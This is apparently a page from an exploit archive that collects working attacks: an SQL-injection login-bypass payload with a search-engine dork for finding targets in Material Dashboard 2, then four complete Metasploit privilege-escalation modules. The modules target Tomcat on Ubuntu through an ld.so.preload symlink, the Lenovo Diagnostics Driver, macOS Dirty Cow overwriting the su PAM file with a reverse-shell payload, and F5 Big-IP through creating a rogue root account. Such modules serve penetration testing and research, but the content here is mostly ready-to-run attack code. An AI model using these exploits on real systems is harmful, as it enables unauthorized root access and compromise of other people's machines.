/>---<br /><br />```<br /><br />## Reproduce:<br />[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/mayuri_k/2023/101news)<br /><br />## Proof and Exploit:<br />[href](https://streamable.com/vrc7x8)<br /><br />## Time spend:<br />01:00:00<br /></code></pre>
<pre><code>====================================================================================================================================<br />| # Title : Material Dashboard 2 Auth by pass Vulnerability |<br />| # Author : indoushka |<br />| # Tested on : windows 10 Français V.(Pro) |<br />| # Vendor : https://www.creative-tim.com/ | <br />| # Dork : "Material Dashboard 2 by Creative Tim" |<br />====================================================================================================================================<br /><br /><br />poc :<br /><br />[+] Dorking İn Google Or Other Search Enggine <br /><br />[+] Use Payload = user : 'or''='@gmail.com & pass : 'or''='<br /><br />[+] http://127.0.0.1/kacatalystcom/<br /><br />Greetings to :=========================================================================================================================<br /> |<br />jericho * Larry W. Cashdollar * brutelogic* hyp3rlinx* 9aylas * djroot.dz * LiquidWorm* Hussin-X *D4NB4R * shadow_00715 * yasMouh |<br /> |<br />=======================================================================================================================================<br /></code></pre>
<pre><code>###<br />#<br /># This exploit sample shows how an exploit module could be written to exploit<br /># a bug in a command on a linux computer for priv esc.<br />#<br />###<br /><br />class MetasploitModule < Msf::Exploit::Local<br /> Rank = ManualRanking<br /><br /> include Msf::Exploit::Retry<br /> include Msf::Post::Linux::Priv<br /> include Msf::Post::Linux::System<br /> include Msf::Post::File<br /> include Msf::Exploit::EXE<br /> include Msf::Exploit::FileDropper<br /> include Msf::Post::Linux::Compile<br /> prepend Msf::Exploit::Remote::AutoCheck<br /><br /> def initialize(info = {})<br /> super(<br /> update_info(<br /> info,<br /> 'Name' => 'Apache Tomcat on Ubuntu Log Init Privilege Escalation',<br /> 'Description' => %q{<br /> Tomcat (6, 7, 8) packages provided by default repositories on Debian-based<br /> distributions (including Debian, Ubuntu etc.) provide a vulnerable<br /> tomcat init script that allows local attackers who have already gained access<br /> to the tomcat account (for example, by exploiting an RCE vulnerability<br /> in a java web application hosted on Tomcat, uploading a webshell etc.) to<br /> escalate their privileges from tomcat user to root and fully compromise the<br /> target system.<br /><br /> Tested against Tomcat 8.0.32-1ubuntu1.1 on Ubuntu 16.04<br /> },<br /> 'License' => MSF_LICENSE,<br /> 'Author' => [<br /> 'h00die', # msf module<br /> 'Dawid Golunski <dawid@legalhackers.com>' # original PoC, analysis, discovery<br /> ],<br /> 'Platform' => [ 'linux' ],<br /> 'Arch' => [ ARCH_X86, ARCH_X64, ARCH_PYTHON ],<br /> 'SessionTypes' => [ 'shell', 'meterpreter' ],<br /> 'Targets' => [[ 'Auto', {} ]],<br /> 'Privileged' => true,<br /> 'DefaultOptions' => {<br /> 'PrependFork' => true,<br /> 'WfsDelay' => 1800 # 30min<br /> },<br /> 'References' => [<br /> [ 'EDB', '40450' ],<br /> [ 'URL', 'https://ubuntu.com/security/notices/USN-3081-1'],<br /> [ 'URL', 'http://legalhackers.com/advisories/Tomcat-DebPkgs-Root-Privilege-Escalation-Exploit-CVE-2016-1240.html'],<br /> [ 'CVE', '2016-1240']<br /> ],<br /> 'DisclosureDate' => '2016-09-30',<br /> 'DefaultTarget' => 0,<br /> 'Notes' => {<br /> 'Stability' => [CRASH_SAFE],<br /> 'Reliability' => [REPEATABLE_SESSION],<br /> 'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES, IOC_IN_LOGS]<br /> }<br /> )<br /> )<br /> register_options [<br /> OptString.new('CATALINA', [ true, 'Location of catalina.out file', '/var/log/tomcat8/catalina.out' ])<br /> ]<br /> register_advanced_options [<br /> OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]),<br /> ]<br /> end<br /><br /> def base_dir<br /> datastore['WritableDir'].to_s<br /> end<br /><br /> def preload<br /> '/etc/ld.so.preload'<br /> end<br /><br /> def catalina<br /> datastore['CATALINA']<br /> end<br /><br /> def check<br /> package = cmd_exec('dpkg -l tomcat[6-8] | grep \'^i\'')<br /> if package.nil? || package.empty?<br /> return CheckCode::Safe('Unable to execute command to determine installed pacakges')<br /> end<br /><br /> package = package.gsub('\s+', ' ') # replace whitespace with space so we can split easy<br /> package = package.split(' ')<br /> # 0 is ii for installed<br /> # 1 is tomcat# for package name<br /> # 2 is version number<br /> package = Rex::Version.new(package[2])<br /><br /> if (package.to_s.start_with?('8') && package < Rex::Version.new('8.0.32-1ubuntu1.2')) ||<br /> (package.to_s.start_with?('7') && package < Rex::Version.new('7.0.52-1ubuntu0.7')) ||<br /> (package.to_s.start_with?('6') && package < Rex::Version.new('6.0.35-1ubuntu3.8'))<br /> return CheckCode::Appears("Vulnerable app version detected: #{package}")<br /> end<br /><br /> CheckCode::Safe("Unexploitable tomcat packages found: #{package}")<br /> end<br /><br /> def exploit<br /> # Check if we're already root<br /> if is_root? && !datastore['ForceExploit']<br /> fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override'<br /> end<br /><br /> unless writable? base_dir<br /> fail_with Failure::BadConfig, "#{base_dir} is not writable"<br /> end<br /><br /> unless file? catalina<br /> fail_with Failure::BadConfig, "#{catalina} not found or still symlinked"<br /> end<br /><br /> if file? preload<br /> fail_with Failure::BadConfig, "#{preload} found, check file as it needs to be removed for exploitation"<br /> end<br /><br /> vprint_status("Creating backup of #{catalina}")<br /> @catalina_content = read_file(catalina)<br /> path = store_loot(<br /> catalina,<br /> 'text/plain',<br /> rhost,<br /> @catalina_content,<br /> 'catalina.out'<br /> )<br /> print_good("Original #{catalina} backed up to #{path}")<br /><br /> if live_compile?<br /> # upload our privesc stub<br /> so_stub = ".#{rand_text_alphanumeric(5..10)}.so"<br /> so_stub_path = "#{base_dir}/#{so_stub}"<br /> payload_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"<br /><br /> # Upload exploit stub<br /> vprint_status "Compiling exploit stub: #{so_stub_path}"<br /> upload_and_compile so_stub_path, strip_comments(exploit_data('CVE-2016-1240', 'privesc_preload.c').gsub('$BACKDOORPATH', payload_path)), '-Wall -fPIC -shared -ldl'<br /> else<br /> payload_path = '/tmp/.jMeY5vToQl'<br /> so_stub = '.ny9NyKEPJ.so'<br /> so_stub_path = "/tmp/#{so_stub}"<br /><br /> write_file(so_stub_path, exploit_data('CVE-2016-1240', 'stub.so'))<br /> end<br /> register_file_for_cleanup(so_stub_path)<br /><br /> # Upload payload executable<br /> vprint_status("Uploading Payload to #{payload_path}")<br /> upload_and_chmodx payload_path, generate_payload_exe<br /> register_file_for_cleanup(payload_path)<br /><br /> # delete the log and symlink ld.so.preload<br /> vprint_status("Deleting #{catalina}")<br /> rm_f(catalina)<br /> vprint_status("Creating symlink from #{preload} to #{catalina}")<br /> cmd_exec("ln -s #{preload} #{catalina}")<br /> register_file_for_cleanup(catalina)<br /><br /> # we now need tomcat to restart<br /> print_good("Waiting #{datastore['WfsDelay']} seconds on tomcat to re-open the logs aka a Tomcat service restart")<br /> succeeded = retry_until_truthy(timeout: datastore['WfsDelay']) do<br /> file? preload<br /> end<br /><br /> unless succeeded<br /> print_error("#{preload} not found, exploit aborted")<br /> return<br /> end<br /> register_file_for_cleanup(preload)<br /><br /> # now that we can write to ld.so.preload, use a SUID binary to execute our stub<br /> print_status("injecting #{so_stub_path} into #{preload}")<br /> cmd_exec "echo #{so_stub_path} > #{preload}"<br /> print_status('Escalating payload privileges via SUID binary (sudo)')<br /> cmd_exec 'sudo --help 2>/dev/null >/dev/null'<br /> print_status('Executing payload')<br /> cmd_exec payload_path<br /> end<br /><br /> def cleanup<br /> if @catalina_content.nil?<br /> cmd_exec("touch #{catalina}")<br /> else<br /> write_file(catalina, @catalina_content)<br /> end<br /> super<br /> end<br />end<br /></code></pre>
<pre><code>##<br /># This module requires Metasploit: https://metasploit.com/download<br /># Current source: https://github.com/rapid7/metasploit-framework<br />##<br /><br />class MetasploitModule < Msf::Exploit::Local<br /> Rank = GoodRanking<br /><br /> include Msf::Exploit::Local::WindowsKernel<br /> include Msf::Post::File<br /> include Msf::Post::Windows::Priv<br /> include Msf::Post::Windows::Process<br /> include Msf::Post::Windows::ReflectiveDLLInjection<br /> prepend Msf::Exploit::Remote::AutoCheck<br /><br /> def initialize(info = {})<br /> super(<br /> update_info(<br /> info,<br /> {<br /> 'Name' => 'Lenovo Diagnostics Driver IOCTL memmove',<br /> 'Description' => %q{<br /> Incorrect access control for the Lenovo Diagnostics Driver allows a low-privileged user the ability to<br /> issue device IOCTLs to perform arbitrary physical/virtual memory read/write.<br /> },<br /> 'License' => MSF_LICENSE,<br /> 'Author' => [<br /> 'alfarom256', # Original PoC<br /> 'jheysel-r7' # msf module<br /> ],<br /> 'Arch' => [ ARCH_X64 ],<br /> 'Platform' => 'win',<br /> 'SessionTypes' => [ 'meterpreter' ],<br /> 'DefaultOptions' => {<br /> 'EXITFUNC' => 'thread'<br /> },<br /> 'Targets' => [<br /> [ 'Windows x64', { 'Arch' => ARCH_X64 } ]<br /> ],<br /> 'References' => [<br /> [ 'CVE', '2022-3699' ],<br /> [ 'URL', 'https://github.com/alfarom256/CVE-2022-3699/' ]<br /> ],<br /> 'DisclosureDate' => '2022-11-09',<br /> 'DefaultTarget' => 0,<br /> 'Notes' => {<br /> 'Stability' => [CRASH_SAFE],<br /> 'Reliability' => [REPEATABLE_SESSION],<br /> 'SideEffects' => []<br /> },<br /> 'Compat' => {<br /> 'Meterpreter' => {<br /> 'Commands' => %w[<br /> stdapi_railgun_api<br /> ]<br /> }<br /> }<br /> }<br /> )<br /> )<br /> end<br /><br /> def check<br /> unless session.platform == 'windows'<br /> # Non-Windows systems are definitely not affected.<br /> return Exploit::CheckCode::Safe<br /> end<br /><br /> handle = open_device('\\\\.\\LenovoDiagnosticsDriver', 'FILE_SHARE_WRITE|FILE_SHARE_READ', 0, 'OPEN_EXISTING')<br /> if handle.nil?<br /> return Exploit::CheckCode::Safe<br /> end<br /><br /> session.railgun.kernel32.CloseHandle(handle)<br /> CheckCode::Appears<br /> end<br /><br /> def target_compatible?<br /> build_num = sysinfo['OS'].match(/Build (\d+)/)[1].to_i<br /> vprint_status("Windows Build Number = #{build_num}")<br /><br /> return true if sysinfo['OS'] =~ /Windows 10/ && build_num >= 14393 && build_num <= 19045<br /> return true if sysinfo['OS'] =~ /Windows 11/ && build_num == 22000<br /> return true if sysinfo['OS'] =~ /Windows 2016\+/ && build_num >= 17763 && build_num <= 20348<br /><br /> false<br /> end<br /><br /> def exploit<br /> if is_system?<br /> fail_with(Failure::None, 'Session is already elevated')<br /> end<br /><br /> # check that the target is a compatible version of Windows (since the offsets are hardcoded) before loading the RDLL<br /> unless target_compatible?<br /> fail_with(Failure::NoTarget, 'The exploit does not support this target')<br /> end<br /><br /> if sysinfo['Architecture'] == ARCH_X64 && session.arch == ARCH_X86<br /> fail_with(Failure::NoTarget, 'Running against WOW64 is not supported')<br /> elsif sysinfo['Architecture'] == ARCH_X64 && target.arch.first == ARCH_X86<br /> fail_with(Failure::NoTarget, 'Session host is x64, but the target is specified as x86')<br /> elsif sysinfo['Architecture'] == ARCH_X86 && target.arch.first == ARCH_X64<br /> fail_with(Failure::NoTarget, 'Session host is x86, but the target is specified as x64')<br /> end<br /><br /> encoded_payload = payload.encoded<br /> execute_dll(<br /> ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2022-3699', 'CVE-2022-3699.x64.dll'),<br /> [encoded_payload.length].pack('I<') + encoded_payload<br /> )<br /><br /> print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.')<br /> end<br />end<br /></code></pre>
<pre><code>##<br /># This module requires Metasploit: https://metasploit.com/download<br /># Current source: https://github.com/rapid7/metasploit-framework<br />##<br /><br />class MetasploitModule < Msf::Exploit::Local<br /> Rank = ExcellentRanking<br /><br /> prepend Msf::Exploit::Remote::AutoCheck<br /> include Msf::Post::File<br /> include Msf::Post::OSX::Priv<br /> include Msf::Post::OSX::System<br /> include Msf::Exploit::EXE<br /> include Msf::Exploit::FileDropper<br /><br /> def initialize(info = {})<br /> super(<br /> update_info(<br /> info,<br /> 'Name' => 'macOS Dirty Cow Arbitrary File Write Local Privilege Escalation',<br /> 'Description' => %q{<br /> An app may be able to execute arbitrary code with kernel privileges<br /> },<br /> 'License' => MSF_LICENSE,<br /> 'Author' => [<br /> 'Ian Beer', # discovery<br /> 'Zhuowei Zhang', # proof of concept<br /> 'timwr' # metasploit integration<br /> ],<br /> 'References' => [<br /> ['CVE', '2022-46689'],<br /> ['URL', 'https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.61.2/tests/vm/vm_unaligned_copy_switch_race.c'],<br /> ['URL', 'https://github.com/zhuowei/MacDirtyCowDemo'],<br /> ],<br /> 'Platform' => 'osx',<br /> 'Arch' => ARCH_X64,<br /> 'SessionTypes' => ['shell', 'meterpreter'],<br /> 'DefaultTarget' => 0,<br /> 'DefaultOptions' => { 'PAYLOAD' => 'osx/x64/shell_reverse_tcp' },<br /> 'Targets' => [<br /> [ 'Mac OS X x64 (Native Payload)', {} ],<br /> ],<br /> 'DisclosureDate' => '2022-12-17',<br /> 'Notes' => {<br /> 'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES],<br /> 'Reliability' => [REPEATABLE_SESSION],<br /> 'Stability' => [CRASH_SAFE]<br /> }<br /> )<br /> )<br /> register_advanced_options [<br /> OptString.new('TargetFile', [ true, 'The pam.d file to overwrite', '/etc/pam.d/su' ]),<br /> OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])<br /> ]<br /> end<br /><br /> def check<br /> version = Rex::Version.new(get_system_version)<br /> if version > Rex::Version.new('13.0.1')<br /> CheckCode::Safe<br /> elsif version < Rex::Version.new('13.0') && version > Rex::Version.new('12.6.1')<br /> CheckCode::Safe<br /> elsif version < Rex::Version.new('10.15')<br /> CheckCode::Safe<br /> else<br /> CheckCode::Appears<br /> end<br /> end<br /><br /> def exploit<br /> if is_root?<br /> fail_with Failure::BadConfig, 'Session already has root privileges'<br /> end<br /><br /> unless writable? datastore['WritableDir']<br /> fail_with Failure::BadConfig, "#{datastore['WritableDir']} is not writable"<br /> end<br /><br /> payload_file = "#{datastore['WritableDir']}/.#{rand_text_alphanumeric(5..10)}"<br /> binary_payload = Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded)<br /> upload_and_chmodx payload_file, binary_payload<br /> register_file_for_cleanup payload_file<br /><br /> target_file = datastore['TargetFile']<br /> current_content = read_file(target_file)<br /> backup_file = "#{datastore['WritableDir']}/.#{rand_text_alphanumeric(5..10)}"<br /> unless write_file(backup_file, current_content)<br /> fail_with Failure::BadConfig, "#{backup_file} is not writable"<br /> end<br /> register_file_for_cleanup backup_file<br /><br /> replace_content = current_content.sub('rootok', 'permit')<br /><br /> replace_file = "#{datastore['WritableDir']}/.#{rand_text_alphanumeric(5..10)}"<br /> unless write_file(replace_file, replace_content)<br /> fail_with Failure::BadConfig, "#{replace_file} is not writable"<br /> end<br /> register_file_for_cleanup replace_file<br /><br /> exploit_file = "#{datastore['WritableDir']}/.#{rand_text_alphanumeric(5..10)}"<br /> exploit_exe = exploit_data 'CVE-2022-46689', 'exploit'<br /> upload_and_chmodx exploit_file, exploit_exe<br /> register_file_for_cleanup exploit_file<br /><br /> exploit_cmd = "#{exploit_file} #{target_file} #{replace_file}"<br /> print_status("Executing exploit '#{exploit_cmd}'")<br /> result = cmd_exec(exploit_cmd)<br /> print_status("Exploit result:\n#{result}")<br /><br /> su_cmd = "echo '#{payload_file} & disown' | su"<br /> print_status("Running cmd:\n#{su_cmd}")<br /> result = cmd_exec(su_cmd)<br /> unless result.blank?<br /> print_status("Command output:\n#{result}")<br /> end<br /><br /> exploit_cmd = "#{exploit_file} #{target_file} #{backup_file}"<br /> print_status("Executing exploit (restoring) '#{exploit_cmd}'")<br /> result = cmd_exec(exploit_cmd)<br /> print_status("Exploit result:\n#{result}")<br /> end<br /><br />end<br /></code></pre>
<pre><code>##<br /># This module requires Metasploit: https://metasploit.com/download<br /># Current source: https://github.com/rapid7/metasploit-framework<br />##<br /><br />require 'unix_crypt'<br /><br />class MetasploitModule < Msf::Exploit::Local<br /> include Msf::Post::Linux::F5Mcp<br /> include Msf::Exploit::CmdStager<br /><br /> def initialize(info = {})<br /> super(<br /> update_info(<br /> info,<br /> 'Name' => 'F5 Big-IP Create Admin User',<br /> 'Description' => %q{<br /> This creates a local user with a username/password and root-level<br /> privileges. Note that a root-level account is not required to do this,<br /> which makes it a privilege escalation issue.<br /><br /> Note that this is pretty noisy, since it creates a user account and<br /> creates log files and such. Additionally, most (if not all)<br /> vulnerabilities in F5 grant root access anyways.<br /><br /> Adapted from https://github.com/rbowes-r7/refreshing-mcp-tool/blob/main/mcp-privesc.rb<br /> },<br /> 'License' => MSF_LICENSE,<br /> 'Author' => ['Ron Bowes'],<br /> 'Platform' => [ 'unix', 'linux', 'python' ],<br /> 'SessionTypes' => ['shell', 'meterpreter'],<br /> 'References' => [<br /> ['URL', 'https://github.com/rbowes-r7/refreshing-mcp-tool'], # Original PoC<br /> ['URL', 'https://www.rapid7.com/blog/post/2022/11/16/cve-2022-41622-and-cve-2022-41800-fixed-f5-big-ip-and-icontrol-rest-vulnerabilities-and-exposures/'],<br /> ['URL', 'https://support.f5.com/csp/article/K97843387'],<br /> ],<br /> 'Privileged' => true,<br /> 'DisclosureDate' => '2022-11-16',<br /> 'Arch' => [ ARCH_CMD, ARCH_PYTHON ],<br /> 'Type' => :unix_cmd,<br /> 'Targets' => [[ 'Auto', {} ]],<br /> 'Notes' => {<br /> 'Stability' => [],<br /> 'Reliability' => [],<br /> 'SideEffects' => []<br /> }<br /> )<br /> )<br /><br /> register_options([<br /> OptString.new('USERNAME', [true, 'Username to create (default: random)', Rex::Text.rand_text_alphanumeric(8)]),<br /> OptString.new('PASSWORD', [true, 'Password for the new user (default: random)', Rex::Text.rand_text_alphanumeric(12)]),<br /><br /> OptBool.new('CREATE_SESSION', [true, 'If set, use the new account to create a root session', true]),<br /> ])<br /> end<br /><br /> def exploit<br /> # Get or generate the username/password<br /> fail_with(Failure::BadConfig, 'USERNAME cannot be empty') if datastore['USERNAME'].empty?<br /> username = datastore['USERNAME']<br /><br /> if datastore['CREATE_SESSION']<br /> password = Rex::Text.rand_text_alphanumeric(12)<br /> new_password = datastore['PASSWORD'] || Rex::Text.rand_text_alphanumeric(12)<br /><br /> print_status("Will attempt to create user #{username} / #{password}, then change password to #{new_password} when creating a session")<br /> else<br /> password = datastore['PASSWORD'] || Rex::Text.rand_text_alphanumeric(12)<br /><br /> print_status("Will attempt to create user #{username} / #{password}")<br /> end<br /><br /> # If the password is already hashed, leave it as-is<br /> vprint_status('Hashing the password with SHA512')<br /> hashed_password = UnixCrypt::SHA512.build(password)<br /><br /> if !hashed_password || hashed_password.empty?<br /> fail_with(Failure::BadConfig, 'Failed to hash the password with String.crypt')<br /> end<br /><br /> # These requests have to go in a single 'session', which, to us, is<br /> # a single packet (since we don't have AF_UNIX sockets)<br /> result = mcp_send_recv([<br /> # Authenticate as 'admin' (this probably shouldn't work but does)<br /> mcp_build('user_authenticated', 'structure', [<br /> mcp_build('user_authenticated_name', 'string', 'admin')<br /> ]),<br /><br /> # Start transaction<br /> mcp_build('start_transaction', 'structure', [<br /> mcp_build('start_transaction_load_type', 'ulong', 0)<br /> ]),<br /><br /> # Create the role mapping<br /> mcp_build('create', 'structure', [<br /> mcp_build('user_role_partition', 'structure', [<br /> mcp_build('user_role_partition_user', 'string', username),<br /> mcp_build('user_role_partition_role', 'ulong', 0),<br /> mcp_build('user_role_partition_partition', 'string', '[All]'),<br /> ])<br /> ]),<br /><br /> # Create the userdb entry<br /> mcp_build('create', 'structure', [<br /> mcp_build('userdb_entry', 'structure', [<br /> mcp_build('userdb_entry_name', 'string', username),<br /> mcp_build('userdb_entry_partition_id', 'string', 'Common'),<br /> mcp_build('userdb_entry_is_system', 'ulong', 0),<br /> mcp_build('userdb_entry_shell', 'string', '/bin/bash'),<br /> mcp_build('userdb_entry_is_crypted', 'ulong', 1),<br /> mcp_build('userdb_entry_passwd', 'string', hashed_password),<br /> ])<br /> ]),<br /><br /> # Finish the transaction<br /> mcp_build('end_transaction', 'structure', [])<br /> ])<br /><br /> # Handle errors<br /> if result.nil?<br /> fail_with(Failure::Unknown, 'Request to mcp appeared to fail')<br /> end<br /><br /> # The only result we really care about is an error<br /> error_returned = false<br /> result.each do |r|<br /> result = mcp_get_single(r, 'result')<br /> result_code = mcp_get_single(result, 'result_code')<br /><br /> # If there's no code or it's zero, just ignore it<br /> if result_code.nil? || result_code == 0<br /> next<br /> end<br /><br /> # If we're here, an error was returned!<br /> error_returned = true<br /><br /> # Otherwise, try and get result_message<br /> result_message = mcp_get_single(result, 'result_message')<br /> if result_message.nil?<br /> print_warning("mcp query returned a non-zero result (#{result_code}), but no error message")<br /> else<br /> print_error("mcp query returned an error message: #{result_message} (code: #{result_code})")<br /> end<br /> end<br /><br /> # Let them know if it likely worked<br /> if !error_returned<br /> print_good("Service didn't return an error, so user was likely created!")<br /><br /> if datastore['CREATE_SESSION']<br /> print_status('Attempting create a root session...')<br /><br /> out = cmd_exec("echo -ne \"#{password}\\n#{password}\\n#{new_password}\\n#{new_password}\\n#{payload.encoded}\\n\" | su #{username}")<br /><br /> vprint_status("Output from su command: #{out}")<br /> end<br /> end<br /> end<br />end<br /></code></pre>